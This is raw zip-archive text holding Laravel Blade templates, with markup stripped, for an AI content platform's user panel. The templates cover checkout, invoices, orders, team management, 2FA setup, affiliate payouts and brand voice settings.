    {{ __($plan->name) }} / {{ $plan->type == 'prepaid' ? __('One time') : __(formatCamelCase($plan->frequency)) }} @lang('Plan')

    @if ($plan->is_featured == 1)
    {{ __('Popular plan') }}
    @endif
    • {{ __('Subtotal') }}

      {!! displayCurr(currency()->symbol, $plan->price, 0, null) !!}

    • @if ($plan->price - $newDiscountedPrice > 0)
    • {{ __('Discount') }}

      {!! displayDiscountOrCouponName($plan) !!}

      - {!! displayCurr(currency()->symbol, $plan->price - $newDiscountedPrice, null) !!}

    • @endif
    • {{ __('Tax') }} ({{ $taxRate ?? 0 }}% VAT)

      {!! displayCurr(currency()->symbol, $taxValue ?? 0, tax_included: $plan->price_tax_included) !!}


    • {{ __('Total') }}

      {!! displayCurr(currency()->symbol, $plan->price, $taxValue ?? 0, $newDiscountedPrice ?? null, tax_included: $plan->price_tax_included) !!}

    PK˜W]1Z€¿…-…-?default/panel/user/payment/prepaid/payWithTwoCheckout.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Token Packs')) @section('titlebar_actions', '') @section('content')
    @if ($exception != null)

    {{ $exception }}

    @else
    {{-- @include('panel.user.finance.coupon.index') --}}
    @csrf
    {{-- --}}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @if ($plan->is_featured == 1)
    @endif
    @if (currencyShouldDisplayOnRight(currency()->symbol)) @if ($plan->price !== ($newDiscountedPrice ?? $plan->price)) {{ $plan->price }}{{ currency()->symbol }}   {{ $newDiscountedPrice }}{{ currency()->symbol }} @else {{ $plan->price }} {{ currency()->symbol }} @endif @else @if ($plan->price !== ($newDiscountedPrice ?? $plan->price)) {{ currency()->symbol }}{{ $plan->price }}   {{ currency()->symbol }}{{ $newDiscountedPrice }} @else {{ currency()->symbol }}{{ $plan->price }} @endif @endif / {{ __('One time') }}
    {{ __($plan->name) }}
    @endif
    @endsection @push('script') @endpush PK˜W]¯¡Ù é,é,Ddefault/panel/user/payment/subscription/payWithTwoCheckout.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Subscription Payment')) @section('titlebar_actions', '') @section('content')
    @if ($exception != null)

    {{ $exception }}

    @else
    {{-- @include('panel.user.finance.coupon.index') --}}
    @csrf
    {{-- --}}

    {{ __('By purchasing you confirm our') }} {{ __('Terms and Conditions') }}

    @if ($plan->is_featured == 1)
    @endif
    @if (currencyShouldDisplayOnRight(currency()->symbol)) @if ($plan->price !== ($newDiscountedPrice ?? $plan->price)) {{ $plan->price }}{{ currency()->symbol }}   {{ $newDiscountedPrice }}{{ currency()->symbol }} @else {{ $plan->price }} {{ currency()->symbol }} @endif @else @if ($plan->price !== ($newDiscountedPrice ?? $plan->price)) {{ currency()->symbol }}{{ $plan->price }}   {{ currency()->symbol }}{{ $newDiscountedPrice }} @else {{ currency()->symbol }}{{ $plan->price }} @endif @endif / {{ __(formatCamelCase($plan->frequency)) }}
    {{ __($plan->name) }}
    @endif
    @endsection @push('script') @endpush PK˜W]îžY\pp1default/panel/user/dashboard/affiliates.blade.phpnu„[µü¤@if ($app_is_demo || (($setting->feature_affilates ?? true) && \auth()->user()?->affiliate_status == 1)) @php $userId = auth()->id(); $totalEarning = cache("user:{$userId}:total_earnings") ?: 0; @endphp

    @lang('Invite your friends and earn lifelong recurring commissions. 💸')

    @lang('Simply share your referral link and have your friends sign up through it.')

    {{ __('Commission Rate') }}: {{ $setting->affiliate_commission_percentage }}%

    {{ __('Referral Program') }}: @if ($is_onetime_commission) {{ __('First Purchase') }} @else {{ __('All Purchases') }} @endif

    @lang('Earnings') {{ currency()->symbol }}{{ $app_is_demo ? 380 : ($totalEarning ?? 0) }}

    {{ str()->limit(LaravelLocalization::localizeUrl(url('/') . '/register?aff=' . \Illuminate\Support\Facades\Auth::user()->affiliate_code), 60) }}

    @endif PK˜W]Öß""8default/panel/user/dashboard/favorite-chatbots.blade.phpnu„[µü¤@php $userId = auth()->id(); $favoriteChabots = cache("user:{$userId}:favorite_chatbots"); @endphp filled($favoriteChabots)]) >

    {{ __('Favorite Chatbots') }}

    {{ __('View All') }}
    @forelse ($favoriteChabots as $chatbot) $chatbot->openaiGeneratorChatCategory?->plan == 'premium', ]) href="{{ route('dashboard.user.openai.chat.chat', $chatbot->openaiGeneratorChatCategory?->slug) }}" >
    @if ($chatbot->openaiGeneratorChatCategory?->slug === 'ai-chat-bot') {{ __($chatbot->openaiGeneratorChatCategory?->name) }} @elseif ($chatbot->openaiGeneratorChatCategory?->image) {{ __($chatbot->openaiGeneratorChatCategory?->name) }} @else {{ __($chatbot->openaiGeneratorChatCategory?->short_name) }} @endif

    {{ $chatbot->openaiGeneratorChatCategory?->name }}

    {{ ucwords(str_replace('_', ' ', $chatbot->openaiGeneratorChatCategory?->description)) }}
    @empty

    {{ __("You don't have favorite chatbot") }}

    @endforelse
    PK˜W]êäc9óó6default/panel/user/dashboard/account-summary.blade.phpnu„[µü¤@php $userId = auth()->id(); $docs = cache("user:{$userId}:user_docs"); $docsCount = count($docs); $hoursSaved = $docsCount * 3; $textDocsCount = $docs->filter(fn($entity) => $entity->generator?->type == 'text')?->count(); $imageDocsCount = $docs->filter(fn($entity) => $entity->generator?->type == 'image')?->count(); $audioDocsCount = $docs->filter(fn($entity) => $entity->generator?->type == 'audio')?->count(); $otherDocsCount = $docsCount - $textDocsCount - $imageDocsCount - $audioDocsCount; $sum = $textDocsCount + $imageDocsCount + $audioDocsCount; $chatbots = cache("user:{$userId}:user_chatbots"); $chatbotCount = count($chatbots); @endphp

    @lang('Account Summary')

    @lang('Hours Saved')

    {{ $hoursSaved }}

    @lang('Documents')

    {{ $docsCount }}

    @lang('Chatbots')

    {{ $chatbotCount }}


    @lang('Document Overview')

    @lang('View All')
    @lang('Text') {{ $textDocsCount }}
    @lang('Image') {{ $imageDocsCount }}
    @lang('Audio') {{ $audioDocsCount }}
    @lang('Other') {{ $otherDocsCount }}
    PK˜W]YS"Ã002default/panel/user/orders/invoice-single.blade.phpnu„[µü¤ Invoice

    {{ $setting->site_name }}

    INVOICE

    Order Ref: {{ strtoupper($invoice->order_id) }}

    Order Date/Time: {{ date('j.n.Y - H:i:s', strtotime($invoice->created_at)) }}

    Client Details

    {{ $invoice->user?->fullName() }}

    {{ $invoice->user->email }}

    {{ $invoice->user->phone }}

    {{ $invoice->user->address }}

    @if($invoice->user->postal || $invoice->user->state || $invoice->user->city || $invoice->user->country)

    {{ $invoice->user->postal ? $invoice->user->postal . ', ' : '' }} {{ $invoice->user->state ? $invoice->user->state . ', ' : '' }} {{ $invoice->user->city ? $invoice->user->city . ', ' : '' }} {{ $invoice->user->country ?? '' }}

    @else

    {{__('Not Available')}}

    @endif

    {{ $setting->invoice_name }}

    {{ $setting->invoice_address }}, {{ $setting->invoice_city }}, {{ $setting->invoice_state }}

    {{ $setting->invoice_country }}, {{ $setting->invoice_postal }}

    {{ $setting->invoice_website }}

    {{ $setting->invoice_phone }}

    # Product Quantity Unit Price Total
    1 {{ @$invoice->plan->name ?? 'Archived Plan' }} 1 {{ currency()->symbol }}{{ $invoice->price }} {{ currency()->symbol }}{{ $invoice->price }}
    Subtotal {{ currency()->symbol }}{{ $invoice->price }}
    Vat Rate {{ $invoice->tax_rate }}%
    Vat Due {{ isset($invoice->tax_rate) && $invoice->tax_rate > 0 ? currency()->symbol . $invoice->tax_value : '-' }}
    Total Due {{ currency()->symbol }}{{ $invoice->price }}
    PK˜W]8v@)default/panel/user/orders/index.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('title', isset($user) ? $user?->fullName() . " " . ('Orders') : __('My Orders')) @section('titlebar_actions') {{ __('Export All') }} {{ __('Pdf') }} @endsection @section('content')
    {{ __('Order Id') }} {{ __('Status') }} {{ __('Plan Name') }} {{ __('Price') }} {{ __('Tax') }} {{ __('Type') }} {{ __('Date') }} {{ __('Actions') }} @foreach ($list as $entry) {{ $entry->order_id }} @php switch ($entry->status) { case 'Success': $badge_type = 'success'; break; case 'Waiting': $badge_type = 'secondary'; break; case 'Approved': $badge_type = 'success'; break; case 'Rejected': $badge_type = 'danger'; break; default: $badge_type = 'default'; break; } @endphp {{ __($entry->status) }} {{ __(@$entry->plan->name ?? 'Archived') }} @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $entry->price }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $entry->price }} @endif @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $entry->tax_value ?? 0 }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $entry->tax_value ?? 0 }} @endif {{ __($entry->type) }}

    {{ date('j.n.Y', strtotime($entry->created_at)) }} {{ date('H:i:s', strtotime($entry->created_at)) }}

    @endforeach
    @endsection PK˜W]ñ¯³%³%+default/panel/user/orders/invoice.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Order #' . \Illuminate\Support\Str::upper($invoice->order_id))) @section('titlebar_actions') @endsection @section('additional_css') @endsection @section('content')

    {{ __('Order Ref') }}               : {{ \Illuminate\Support\Str::upper($invoice->order_id) }}

    {{ __('Order Date/Time') }} : {{ date('j.n.Y', strtotime($invoice->created_at)) }} - {{ date('H:i:s', strtotime($invoice->created_at)) }}

    {{ __('Client') }}

    {{ $invoice->user?->fullName() }}
    {{ $invoice->user->email }}
    {{ $invoice->user->phone }}
    {{ $invoice->user->address }}
    @if($invoice->user->postal || $invoice->user->state || $invoice->user->city || $invoice->user->country) {{ $invoice->user->postal ? $invoice->user->postal . ', ' : '' }} {{ $invoice->user->state ? $invoice->user->state . ', ' : '' }} {{ $invoice->user->city ? $invoice->user->city . ', ' : '' }} {{ $invoice->user->country ?? '' }} @else {{__('Not Available')}} @endif

    {{ $setting->invoice_name }}

    {{ $setting->invoice_address }}
    {{ $setting->invoice_state }}{{ isset($setting->invoice_city) ? ',' : '' }} {{ $setting->invoice_city }}
    {{ $setting->invoice_country }}{{ isset($setting->invoice_city) ? ',' : '' }} {{ $setting->invoice_postal }}
    {{ $setting->invoice_website }}
    {{ $setting->invoice_phone }}
    @if (isset($invoice->tax_rate) and $invoice->tax_rate > 0) @else @endif
    {{ __('Product') }} {{ __('Qnt') }} {{ __('Unit') }} {{ __('Amount') }}
    1

    {{ @$invoice->plan->name ?? __('Archived Plan') }}

    @if ($invoice->type == 'subscription') {{ __('Subscription Plan Payment') }} @else {{ __('Prepaid Plan Payment') }} @endif
    1 @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $invoice->price }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $invoice->price }} @endif @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $invoice->price }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $invoice->price }} @endif
    {{ __('Subtotal') }} @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $invoice->price - $invoice->tax_value }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $invoice->price - $invoice->tax_value }} @endif
    {{ __('Vat Rate') }} {{ $invoice->tax_rate }}%
    {{ __('Vat Due') }} @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $invoice->tax_value }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $invoice->tax_value }} @endif -
    {{ __('Total Due') }} @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $invoice->price }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ $invoice->price }} @endif

    {{ __('Thank you very much for doing business with us. We look forward to working with you again!') }}

    @endsection PK˜W]å©ZÚ��'default/panel/user/team/index.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Team Members')) @section('titlebar_actions', '') @section('content')
    @include('panel.user.team.partials.overview') @include('panel.user.team.partials.invite-a-friend') @include('panel.user.team.partials.team-members')
    @endsection PK˜W]4^×¥'"'"&default/panel/user/team/edit.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Team')) @section('content')
    @if ($user && $user?->avatar) @endif

    {{ $user?->fullName() }}

    @if ($member->joined_at)

    @lang('Member Since') {{ $member->joined_at->format('M d, Y') }}

    @endif @lang(strtoupper($member->status))

    @lang('Your Team Plan')

    {{--
    --}} {{--
    --}} {{--
    --}} {{--
    --}} {{-- --}} {{-- {{ $remaining_words }}--}} {{--
    --}} {{--
    --}} {{--
    --}} {{--
    --}} {{--
    --}} {{--
    --}} {{-- --}} {{-- {{ $remaining_images }}--}} {{--
    --}} {{--
    --}} {{--
    --}} {{--
    --}}

    1@lang('Manage User')

    @csrf
    @error('role')
    {{ $message }}
    @enderror
    @error('status')
    {{ $message }}
    @enderror
    @endsection @push('script') @endpush PK˜W]ºS¯xä ä :default/panel/user/team/partials/invite-a-friend.blade.phpnu„[µü¤

    @lang('How it Works')

    @lang('Adding and overseeing team members is a straightforward process. Here\'s a quick example to initiate collaboration within seconds.')


    1. 1 @lang('Send an invitation link to your team members.')
    2. 2 @lang('Let them register with their email address.')
    3. 3 @lang('Once they confirm their account they will be added to your team.')
    Team

    @lang('Add your team members’ email address
    to start collaborating.') 📧

    @csrf @if ($app_is_demo) @lang('Invite Friends') @else @lang('Invite Friends') @endif
    PK˜W]z> †T T 3default/panel/user/team/partials/overview.blade.phpnu„[µü¤

    @lang('Invite your colleagues and
    collaborators to join your team and
    maximize the benefits of AI.')

    @lang('Add a New Member') @if (!$subscription || $user?->relationPlan?->is_team_plan == 0) @lang('Upgrade Team Plan') @endif

    @lang('Team Members')

    {{ $app_is_demo ? 4 : $team->members->count() }}

    @lang('Allowed Seats'): {{ $app_is_demo ? 2 : $team->allow_seats }}

    PK˜W]wnü ü 7default/panel/user/team/partials/team-members.blade.phpnu„[µü¤ @lang('Name') @lang('Status') @lang('Joined') @lang('Role') @lang('Actions') @foreach ($members as $member) @if ($member->user_id)

    {{ $member?->user?->name . ' ' . $member?->user?->surname }}

    @endif

    {{ $member->email }}

    @lang($member->status) @if ($member->joined_at)

    {{ $member->joined_at->format('M d, Y') }} {{ $member->joined_at->format('H:i:s') }}

    @endif {{ $member->role ?: __('unknown') }} @endforeach
    PK˜W]¬Klï!%!%+default/panel/user/settings/index.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('My Account')) @section('content')

    @lang('Change Password')

    {{ __('Please leave empty if you don’t want to change your password.') }}

    @if ($app_is_demo and Auth::user()->isAdmin()) {{ __('Save') }} @else @endif

    @lang('Delete Account')

    {{ __('If you no longer want to use your account, you can request to delete it.') }}

    @endsection @push('script') @endpush PK˜W]ØP™Á––/default/panel/user/settings/google2fa.blade.phpnu„[µü¤@extends('panel.layout.settings', ['disable_tblr' => true]) @section('title', __('Two Factor Authentication')) @section('titlebar_actions', '') @section('settings') @if (Google2FA::isActivated())

    @lang('2FA is activated!')

    {{ __('Deactivate 2FA') }}
    @else
    @csrf

    @lang('Enable 2FA')

    @lang("To enable 2FA, you'll need the Google Authenticator App. You can download it from the App Store or Google PlayStore.")

    @lang("Use your phone's camera to scan the QR Code below. If scanning isn't an option, you can manually input the key into your app.") @lang('Manual Key:') {!! $secret !!}

    {!! $qrCode !!}

    @lang('Please input the 6-digit verification code displayed on your Google Authenticator app to finalize the process and activate 2FA.')

    {{ __('Enable 2FA') }}
    @endif @endsection @push('script') @endpush PK˜W]› ùØ Ø 3default/panel/user/settings/deleteAccount.blade.phpnu„[µü¤@extends('panel.layout.settings', ['disable_tblr' => true]) @section('title', __('Request Account Deletion')) @section('titlebar_actions', '') @section('settings')

    {{ __('Request Account Deletion') }}

    {{ __('Are you sure you want to delete the account linked to ') . auth()->user()->email . __(' ?') }}

    {{ __('Request Account Deletion') }}
    @endsection @push('script') @endpush PK˜W]ñœoöÔ'Ô',default/panel/user/affiliate/index.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Affiliate')) @section('titlebar_actions') {{ __('Affilated Users') }} @endsection @section('content')

    {{ __('Invite your friends and earn lifelong recurring commissions from every purchase they make') }}.�

    {{ __('Affiliate Link') }}

    {{ __('Earnings') }}

    @if (currencyShouldDisplayOnRight(currency()->symbol)) {{ $totalEarnings - $totalWithdrawal }}{{ currency()->symbol }} @else {{ currency()->symbol }}{{ max(0, $totalEarnings - $totalWithdrawal) }} @endif

    {{ __('Commission Rate') }}: {{ $setting->affiliate_commission_percentage }}%

    {{ __('Referral Program') }}: @if ($is_onetime_commission) {{ __('First Purchase') }} @else {{ __('All Purchases') }} @endif

    {{ __('How it Works') }}

    1. 1 {!! __('You send your invitation link to your friends.') !!}
    2. 2 {!! __('They subscribe to a paid plan by using your refferral link.') !!}
    3. 3 @if ($is_onetime_commission) {!! __('From their first purchase, you will begin earning one-time commissions.') !!} @else {!! __('From their first purchase, you will begin earning recurring commissions.') !!} @endif
    {{ __('Send') }}

    {{ __('Withdrawal Form') }}

    {{ Auth::user()->affiliate_bank_account ?? null }} {{ __('Send Request') }}

    {{ __('Withdrawal Requests') }}

    {{ __('No') }} {{ __('Amount') }} {{ __('Status') }} {{ __('Date') }} @forelse ($list2 as $entry) AFF-WTHDRWL-{{ $entry->id }} {{ $entry->amount }} {{ $entry->status }} {{ $entry->created_at }} @empty {{ __('You have no withdrawal request') }} @endforelse
    @endsection @push('script') @endpush PK˜W](YL+ZZ,default/panel/user/affiliate/users.blade.phpnu„[µü¤@extends('panel.layout.app') @section('title', __('Affiliated Users')) @section('titlebar_actions', '') @section('content')

    {{ __('Users') }}

    {{ __('Full Name') }} {{ __('Amount') }} {{ __('Status') }} {{ __('Date') }} @forelse ($list as $entry) {{ $entry->name . ' ' . $entry->surname }} {{ $entry->amount }} {{ $entry->status }} {{ $entry->created_at }} @empty {{ __('You have no affiliate users') }} @endforelse
    @endsection @push('script') @endpush PK˜W]Ü�…I££+default/panel/user/companies/list.blade.phpnu„[µü¤@extends('panel.layout.app', ['disable_tblr' => true]) @section('title', __('Brand Voice')) @section('titlebar_subtitle', __('Generate AI content exclusive to your brand and eliminate the need for repetitive introductions of your company.')) @section('titlebar_actions') {{ __('New Company') }} @endsection @section('content')
    {{ __('Name') }} {{ __('Action') }} @foreach ($list as $entry) {{ $entry->name }} @if ($app_is_demo) @else @endif @endforeach
    @endsection PK˜W]T§ _”Q”Q+default/panel/user/companies/form.blade.phpnu„[µü¤@php $voice_tones = ['Professional', 'Funny', 'Casual', 'Excited', 'Witty', 'Sarcastic', 'Feminine', 'Masculine', 'Bold', 'Dramatic', 'Grumpy', 'Secretive']; @endphp @extends('panel.layout.settings', ['disable_tblr' => true]) @section('title', __('Brand Voice')) @section('titlebar_subtitle', __('Generate AI content exclusive to your brand and eliminate the need for repetitive introductions of your company.')) @section('titlebar_actions')
    {{ __('Manage Voices') }} {{ __('New Company') }}
    @endsection @section('settings')
    @csrf @method($method) @foreach (explode(',', $item?->industry) ?? [] as $industry) @if ($industry == null) @continue @endif @endforeach {{ $item?->description }} @foreach ($voice_tones as $tone) @endforeach {{ $item?->target_audience }}